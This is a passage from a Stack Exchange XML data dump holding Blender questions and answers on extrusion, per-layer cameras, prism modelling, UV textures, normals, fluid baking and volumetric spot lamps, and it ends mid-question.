  <row Id="6276" PostTypeId="2" ParentId="6271" CreationDate="2014-01-14T23:11:02.023" Score="3" Body="&lt;p&gt;This is how extrude tool works.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Duplicating/Extrude&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;One tool of paramount importance for working with meshes is the&#xA;Extrude tool. It allows you to create parallelepipeds from rectangles&#xA;and cylinders from circles, as well as easily create such things as&#xA;tree limbs. Extrude is one of the most frequently used modeling tools&#xA;in Blender. It’s simple, straightforward, and easy to use, yet very&#xA;powerful.&lt;/p&gt;&#xA;&lt;p&gt;The selection is extruded along the common normal of selected faces.&#xA;In every other case the extrusion can be limited to a single axis by&#xA;specifying an axis (e.g. X to limit to the X axis or ⇧ ShiftX to the&#xA;YZ plane. When extruding along the face normal, limiting movement to&#xA;the global Z axis requires pressing Z twice, once to disable the face&#xA;normal Z axis limit, and once to enable the global Z axis limit.&lt;/p&gt;&#xA;&lt;p&gt;Although the process is quite intuitive, the principles behind Extrude&#xA;are fairly elaborate as discussed below:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, the algorithm determines the outside edge-loop of the extrude; that is, which among the selected edges will be changed into&#xA;faces. By default (see below), the algorithm considers edges belonging&#xA;to two or more selected faces as internal, and hence not part of the&#xA;loop.&lt;/li&gt;&#xA;&lt;li&gt;The edges in the edge-loop are then changed into faces.&lt;/li&gt;&#xA;&lt;li&gt;If the edges in the edge-loop belong to only one face in the complete mesh, then all of the selected faces are duplicated and&#xA;linked to the newly created faces. For example, rectangles will result&#xA;in parallelepipeds during this stage.&lt;/li&gt;&#xA;&lt;li&gt;In other cases, the selected faces are linked to the newly created faces but not duplicated. This prevents undesired faces from being&#xA;retained “inside” the resulting mesh. This distinction is extremely&#xA;important since it ensures the construction of consistently coherent,&#xA;closed volumes at all times when using Extrude.&lt;/li&gt;&#xA;&lt;li&gt;When extruding completely closed volumes (like e.g. a cube with all its six faces), extrusion results merely in a duplication, as the&#xA;volume is duplicated, without any link to the original one.&lt;/li&gt;&#xA;&lt;li&gt;Edges not belonging to selected faces, which form an “open” edge-loop, are duplicated and a new face is created between the new&#xA;edge and the original one.&lt;/li&gt;&#xA;&lt;li&gt;Single selected vertices which do not belong to selected edges are duplicated and a new edge is created between the two.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For a mesh to be able to exist in the real world, everything must have thickness. Generally speaking, it is a good idea to make your meshes work this way.&lt;/p&gt;&#xA;&lt;p&gt;For example (using a cube), if you extrude the bottom face downwards, you can see it only creates four new faces around the edges:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BQdCo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The reason it does not create a new face for the bottom and leave the original bottom face is because you would then have a non-manifold mesh (not normally what you want):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ykfSK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To test a mesh you could use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to select non-manifold geometry.&lt;/p&gt;&#xA;&lt;p&gt;To get the shape I think you want you could inset (&lt;kbd&gt;I&lt;/kbd&gt;) the one of the middle faces and then extrude it back. This will result in a manifold mesh:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tz5xi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-14T23:53:29.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6277" PostTypeId="1" AcceptedAnswerId="6279" CreationDate="2014-01-15T00:05:52.743" Score="12" ViewCount="4961" Body="&lt;p&gt;I have a scene with two objects.  I need one to be rendered with the camera set to Perspective and the other to be rendered with an Orthographic camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put them on separate render layers, but it seems there can only be a single camera for both render layers.  Is that true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-01-16T09:23:46.303" Title="Different camera settings for different render layers?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6278" PostTypeId="2" ParentId="6209" CreationDate="2014-01-15T00:16:05.653" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Real Sky&lt;/em&gt; in &lt;em&gt;Properties &gt; World&lt;/em&gt; to make the sky render relative to the horizon rather than the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6cVwn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally enable &lt;em&gt;Environment lighting&lt;/em&gt; to use the sky texture to illuminate the scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to the texture panel and create a new &lt;em&gt;world texture&lt;/em&gt; by clicking &lt;em&gt;new&lt;/em&gt; with the &lt;em&gt;World&lt;/em&gt; tab selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBPfg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the type to &lt;em&gt;Image or Movie&lt;/em&gt; and open an image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wwiI1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Textures &gt; Mapping&lt;/em&gt; set the projection to &lt;em&gt;Equirectangular&lt;/em&gt; and enable &lt;em&gt;Horizon&lt;/em&gt; in &lt;em&gt;Textures &gt; Influence&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VWog3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kSpGj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-15T00:27:09.513" LastActivityDate="2014-01-15T00:27:09.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6279" PostTypeId="2" ParentId="6277" CreationDate="2014-01-15T00:42:50.997" Score="11" Body="&lt;p&gt;You can have multiple cameras, but only one can be used at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, you can use two scenes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the object to be rendered in Perspective to the first layer and the object to be rendered in Orthographic to the second layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Layers tab and select Layer 1 to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JvuZ9.png&quot; alt=&quot;Select Layer 1&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new scene by clicking the &lt;strong&gt;+&lt;/strong&gt; in the &lt;em&gt;Info Panel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Wij2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select &lt;em&gt;Link Objects&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the new scene, select the camera and press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Object and Data&lt;/em&gt; to make the camera's transforms and settings independent from the original scene.  Then set the camera to be orthographic in &lt;em&gt;Properties &gt; Object data &gt; Lens&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still in the new scene, go to the Layers tab and select Layer 2 to be rendered. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the background to transparent by enabling &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Film&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the composite nodes (for either scene, just keep in mind that they are independent so it's easiest to keep all the nodes in one scene) duplicate the &lt;em&gt;Render Layers&lt;/em&gt; node and pick the other scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L6dYg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can now combine them however you want using the compositor. E.g. with an Alpha Over node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hz5Jl.png&quot; alt=&quot;Suzanne in Orthographic and Cube in Perspective&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In this render, Suzanne is in orthographic and the rest is in perspective.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1112" LastEditDate="2014-01-16T09:23:46.303" LastActivityDate="2014-01-16T09:23:46.303" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6280" PostTypeId="2" ParentId="6263" CreationDate="2014-01-15T03:47:10.433" Score="7" Body="&lt;p&gt;This can be done within 10 secs. I've seen this tutorial two years ago. I'm sure you can speed up the whole workflow with the new powerful tools developed since then. :) My suggestion for step 1 to 5 on this exercise can be seen below in briefly 3 steps. However, if you just want to focus on the exact question, just jump to Step 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;: Since you said you are new to Blender, I tried to reproduce every detailed step, so it may look a bit long, but all operations can be done in a flash if you get it then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6TAKn.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mrwoY.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aVK1d.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f9Z7x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-15T16:48:03.903" LastActivityDate="2014-01-15T16:48:03.903" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6281" PostTypeId="1" AcceptedAnswerId="6411" CreationDate="2014-01-15T04:29:15.563" Score="3" ViewCount="1013" Body="&lt;p&gt;I am trying to use Blender to create game content like models and environments(levels). Whether creating a mesh/model or a level there's usually multiple assets involved that are getting shared by many other assets like textures, other meshes, rigs and materials. The blender flow seems to involve recreating assets every time they're used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to reuse shared assets between .blends and to make it easy to find these assets? I'm aware of the linking functionality but it does seem a lot of work (finding the host .blend and navigating its structure) when there's lots of links to be made for each .blend. I'm also looking for the ability to change the shared asset in any .blend referencing it and have the change propagated through every other .blend that references it (Example: altering a Material or a Mesh that's being referenced by a level). I don't think this is supported by Linked proxies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If linking with proxies is my only option I was thinking of having every instance of certain types of assets in one .blend file (Like Materials and Textures or sounds but absolutely not models) to make them easier to find when linking. Is this a terrible idea? &lt;/p&gt;&#xA;" OwnerUserId="1789" LastActivityDate="2014-01-20T15:24:43.670" Title="Proper way to maximize reuse of assets within scenes" Tags="&lt;game-engine&gt;&lt;workflow&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6282" PostTypeId="1" CreationDate="2014-01-15T04:34:44.587" Score="1" ViewCount="5187" Body="&lt;p&gt;When I assign a texture to an object's material and use UV unwrap it doesn't seem like Blender assigns the texture to the faces as they're not visible in the 3D view. If I use the UV Editor to select the texture then it's visible. Is there a way to make sure a texture and its UVs are properly assigned in the Default window layout without having to switch window layouts for every object?&lt;/p&gt;&#xA;" OwnerUserId="1789" LastActivityDate="2014-04-15T16:57:28.223" Title="Textures not showing up on objects unless selected in UV editor" Tags="&lt;texturing&gt;&lt;workflow&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-04-16T00:01:20.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="6283" PostTypeId="1" AcceptedAnswerId="6285" CreationDate="2014-01-15T06:18:35.170" Score="7" ViewCount="39079" Body="&lt;p&gt;I'm trying to make a triangular prism in blender, my first idea was to select the top 4 verticys of a cube and merge them at the center but this made a single point on the top instead of a edge. I have tried a few other methods but couldn't get a perfect even triangular prism. What would be the best way to do this&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="55" LastEditDate="2014-01-15T07:33:37.847" LastActivityDate="2018-04-07T16:22:38.127" Title="How to create an equilateral triangle base prism" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="7" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6284" PostTypeId="2" ParentId="6283" CreationDate="2014-01-15T06:24:37.187" Score="22" Body="&lt;p&gt;If you are talking about a triangular prism, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;to add a &lt;em&gt;Cylinder&lt;/em&gt; object, then &lt;kbd&gt;F6&lt;/kbd&gt; to set the &lt;strong&gt;Vertices&lt;/strong&gt; number to 3.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-02-06T01:17:57.780" LastActivityDate="2016-02-06T01:17:57.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6285" PostTypeId="2" ParentId="6283" CreationDate="2014-01-15T06:42:06.090" Score="6" Body="&lt;p&gt;Another ways is by adding a cube and then merging the top two edges with &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; and then remove doubles (&lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Nzh6.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/N3QxW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-15T07:15:02.737" LastActivityDate="2014-01-15T07:15:02.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6288" PostTypeId="1" CreationDate="2014-01-15T09:41:51.397" Score="7" ViewCount="5141" Body="&lt;p&gt;That is, can python code replace, for example, a single letter in a Text Object or insert a letter or string into a Text Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm not talking about replacing a Text Object with some updated string, such as, &lt;code&gt;object.text = &quot;new string&quot;&lt;/code&gt;. I'm thinking more about having access to the Text cursor (not the mouse cursor) and positioning it on some letter that I'd like to replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I'd like to have the same capability during BGE play that I have when altering a Text Object in the edit mode.&lt;/p&gt;&#xA;" OwnerUserId="2163" LastEditorUserId="1363" LastEditDate="2014-03-27T10:05:17.943" LastActivityDate="2016-01-06T03:12:06.323" Title="Can python be used to edit a Text Object?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;text-object&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6289" PostTypeId="2" ParentId="6265" CreationDate="2014-01-15T10:01:06.797" Score="1" Body="&lt;p&gt;I now feel silly. Turns out I was wrong and the obj export script does work as expected. Instead, the object was being recentred by another script I was using afterwards (&lt;a href=&quot;http://people.sc.fsu.edu/~jburkardt/pl_src/obj2opengl/obj2opengl.html&quot; rel=&quot;nofollow&quot;&gt;obj2opengl.pl&lt;/a&gt;). The solution was to use the &lt;code&gt;-noMove&lt;/code&gt; switch when running this second script otherwise the default is to &quot;move [the object] to the center of its vertices&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the comments, it helped me realise the true problem!&lt;/p&gt;&#xA;" OwnerUserId="2154" LastEditorUserId="1363" LastEditDate="2014-02-14T12:03:05.283" LastActivityDate="2014-02-14T12:03:05.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6290" PostTypeId="2" ParentId="6288" CreationDate="2014-01-15T11:43:11.897" Score="5" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt; this isnt supported, you have to replace the string with a new one each time.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-15T11:43:11.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6291" PostTypeId="2" ParentId="6282" CreationDate="2014-01-15T15:42:36.370" Score="0" Body="&lt;p&gt;I'm not quite sure what you mean, but when you say &quot;without having to switch window layouts for every object&quot; it sounds like you're changing window layouts, just to do the UV Mapping, which is not necessary. I'm guessing that you're using the Default layout for unwrapping and the UV Editing layout for assigning the image, and you're right to guess that there's an easier way. (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Screens&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; will help)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://wiki.blender.org/index.php/File%3aUi-organization.jpg&quot; rel=&quot;nofollow&quot;&gt;header&lt;/a&gt; of every window, there is a button all the way on the left which will let you change the window type. What you probably want is to change one window to the UV/Image Editor and another to the 3D viewport, but in the same layout. This will let you see both at the same time. (All of the layout is totally customizable; the various layouts that have names are just presets, you can even change those or add custom layouts). In fact, I usually use the Default layout and I'll change the top-right window (which is usually an outliner) to a small 3D view, and then just change the big main window to whatever I'm doing at the moment, even another 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem that you might be encountering is that Blender decouples the viewport texturing from rendered texturing. The render will use the image in the material settings, &lt;strong&gt;but&lt;/strong&gt; the viewport will use the image that's selected in the UV/Image Editor for that UV set. (You can have multiple UV sets on a single object, but each UV set can only have one image). This means that you can see one texture in the viewport, and a completely different one in the render. This &lt;strong&gt;also&lt;/strong&gt; means that if you haven't chosen an image in the UV/Image editor, then it won't show up in the viewport, even though it will render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-15T15:42:36.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6292" PostTypeId="2" ParentId="6283" CreationDate="2014-01-15T21:28:34.700" Score="4" Body="&lt;p&gt;If you are trying to make an equilateral triangle prism you can first make an equilateral triangle from a square plane. Here's one way to do it:&#xA;1. add Mesh-&gt;Plane.&#xA;2. Subdivide plane twice so it's cut into 16 squares.&#xA;3. Select vertices and press F to make new edges (see picture). &#xA;4. Extrude the edges into prism and delete the remaining vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCgmJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2140" LastActivityDate="2014-01-15T21:28:34.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6293" PostTypeId="1" AcceptedAnswerId="6312" CreationDate="2014-01-15T21:53:20.940" Score="9" ViewCount="19019" Body="&lt;p&gt;Is it possible to play an animation in the viewport at a slow framerate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just because of the rather heavy scene it's already going at about 8 fps, but I would like to be able to play it even slower (an in a controlled manner) for the purpose of recording an animation with automatic keyframes.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2021-04-09T13:39:26.643" Title="Is it possible to adjust the frame rate of viewport playback?" Tags="&lt;animation&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6294" PostTypeId="1" AcceptedAnswerId="6295" CreationDate="2014-01-15T22:10:01.807" Score="4" ViewCount="864" Body="&lt;p&gt;As you can see below, the object can be seen to be made of powder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HgV62.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can one recreate this effect in Blender (and the object has different colours)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I thought about having a mesh filled with tiny particles, but:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;1. There would be so many particles that Blender would go laggy&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;2. It would be extremely difficult for each particle to match the colour of the mesh&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other, better methods could I use? I don't know a node to make &quot;powder&quot;, what about a noise texture, or are there better ways?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1526" LastActivityDate="2014-01-15T22:14:46.963" Title="How to make &quot;baked powder&quot; effect?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6295" PostTypeId="2" ParentId="6294" CreationDate="2014-01-15T22:14:46.963" Score="5" Body="&lt;p&gt;You're right, a bump map from a noise texture is exactly the right solution for this problem. Add to that the right specular characteristics (high roughness in Cycles, large specular size in BI) and you're well on your way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, just add a colored texture for the diffuse and it'll be pretty close. In fact, the noise texture actually provides RGB colors that you could just use for the color. (Often the noise texture is converted to greyscale because that's more useful than RGB, like with your bump map you're going to create, but it does actually use RGB values).&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-15T22:14:46.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6296" PostTypeId="1" CreationDate="2014-01-15T23:33:56.950" Score="1" ViewCount="5958" Body="&lt;p&gt;I have a simple cube that I'm using to make a wall. I had already duplicated the cube to make more walls and cut some doors and windows into them before I realized that the normals are getting messed up somehow. None of my other cubes have the problem, but I'd rather not repeat all of my work if it can be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes when I try apply the rotation and scale to the cubes so that I can use the bevel tool on the door hole. It happens on all the walls, even the one that doesn't have any modifications other than scale. The incorrect normals are visible if I switch to smooth shading, I'll see a diagonal shadow line going across the wall where the triangle would be if it were triangulated. I tried recalculating normals, but that didn't fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I view the normals before and after applying the transformation, I can see the problem. Before applying it, the vertex normals come straight out in the same direction as the face normals. Smooth shading works fine in this case. If I apply the transformations, the vertex normals change and come out at an angle instead of coming out straight. Nothing I do seems to be able to fix them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The geometry is fairly simple, as I said one of the walls it happens to is just a scaled cube. It's only got 8 vertices. So there are no duplicate vertices, or hidden faces, or anything else I can think of that might cause the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else I can try to properly rebuild these normals or am I going to have to model all my walls over again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I rebuilt the walls over again and the one that is a plain cube is no longer having the issue. Maybe when I was moving the vertices around for sizing I accidentally added on somewhere or something? The ones with the door cutouts are though. In this screenshot the whole thing is set to smooth shading. An edge split modifier only fixes it if I take the angle all the way down to 5 which no longer smooths the door frame. If I set the wall to flat, and individually set the door frame vertices to smooth, the problem goes away in shaded view but comes back in both Blenders textured view and when imported into Unity (whether I let Unity calculate normals or use Blender's) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eH60N.png&quot; alt=&quot;Normal problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: I just realized that I never applied the transform to the plain cube wall. When I do, the problem comes back. It looks just like the one in the screenshot except the messed up normal goes all the way from the top left to the bottom right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit3: I've added the blend file for those asking about it. When the wall is set to flat shading and view mode is set to solid, the problem doesn't appear. But it does appear pretty bad in Unity whether it is set to flat shading or not and it's slightly noticeable in Blender when set to textured mode as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/x1m9lbkh1ncj6ss/smalltheater.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2165" LastEditorUserId="2165" LastEditDate="2014-01-17T23:26:59.180" LastActivityDate="2020-04-13T04:53:01.067" Title="Normals messed up after applying transform" Tags="&lt;transforms&gt;&lt;normals&gt;" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6297" PostTypeId="1" AcceptedAnswerId="6902" CreationDate="2014-01-16T00:26:24.737" Score="1" ViewCount="3577" Body="&lt;p&gt;I have setup a simple scene with some hills (one big object) and dam with water. Dam consists of multiple objects, they are set up as fluid obstacles. Dam breaks (parts of dam are animated with keyframes) and water should start to flow through valley.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, fluid baking stops on higher fluid resolutions (for example 300) somewhere in the middle of my animation when dam breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have already tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;applied scale and rotation on fluid objects&lt;/li&gt;&#xA;&lt;li&gt;removed double vertices and recalculated normals on fluid objects&lt;/li&gt;&#xA;&lt;li&gt;run blender from command line and also with -d switch (to see debug output), but haven't seen any errors, it just suddenly stops&lt;/li&gt;&#xA;&lt;li&gt;manually cleared the fluid cache folder (deleted all the files)&lt;/li&gt;&#xA;&lt;li&gt;set all fluid obstacles to Free Slip (as advised in &lt;a href=&quot;http://cgcookie.com/blender/lessons/3-add-advanced-fluid-simulations/&quot; rel=&quot;nofollow&quot;&gt;Blender Cookie Fluid Simulation Tutorial, part 3&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am using blender 2.69 64bit on Ubuntu 13.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can download my scene (it is my first try with Blender, so it is very simple) - &lt;a href=&quot;http://davinci.fmph.uniba.sk/~lehoczky2/scena1_2.blend&quot; rel=&quot;nofollow&quot;&gt;scena1_2.blend&lt;/a&gt; (30 MB - sorry for that size, some textures are included...)&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditDate="2014-01-21T14:07:07.200" LastActivityDate="2015-10-16T23:59:01.973" Title="Fluid baking stops without errors" Tags="&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6298" PostTypeId="1" AcceptedAnswerId="6299" CreationDate="2014-01-16T02:17:38.987" Score="6" ViewCount="6154" Body="&lt;p&gt;I'm having a problem while rendering a searchlight-style spot lamp (i.e. I want to see the &quot;light cone&quot; in the final render (&quot;Halo&quot; option is checked), a.k.a. volumetric light). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the cone is not actually interrupted by other objects. Simplified example for illustration purposes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;point a spot lamp with a relatively narrow cone (e.g. 10° ) and &quot;Halo&quot; option enabled at the middle of a plane so that the spot is entirely on the plane.&lt;/li&gt;&#xA;&lt;li&gt;render the whole setup from the side so you can see both sides of the plane&lt;/li&gt;&#xA;&lt;li&gt;-&gt; the spot's light cone will continue beyond the plane:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SRjUn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a bug? If not, what would I have to do to stop the light cone from &quot;penetrating&quot; the plane? Note that the actual spot is only visible on the upper plane, not the bottom one. Also, if I place another object within the cone it will properly cast a shadow onto the next surface. It does not affect the &quot;shape&quot; of the light cone however, as I would expect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Blender 2.69.8 Fastest Build from graphicall.org but also had this problem with the original 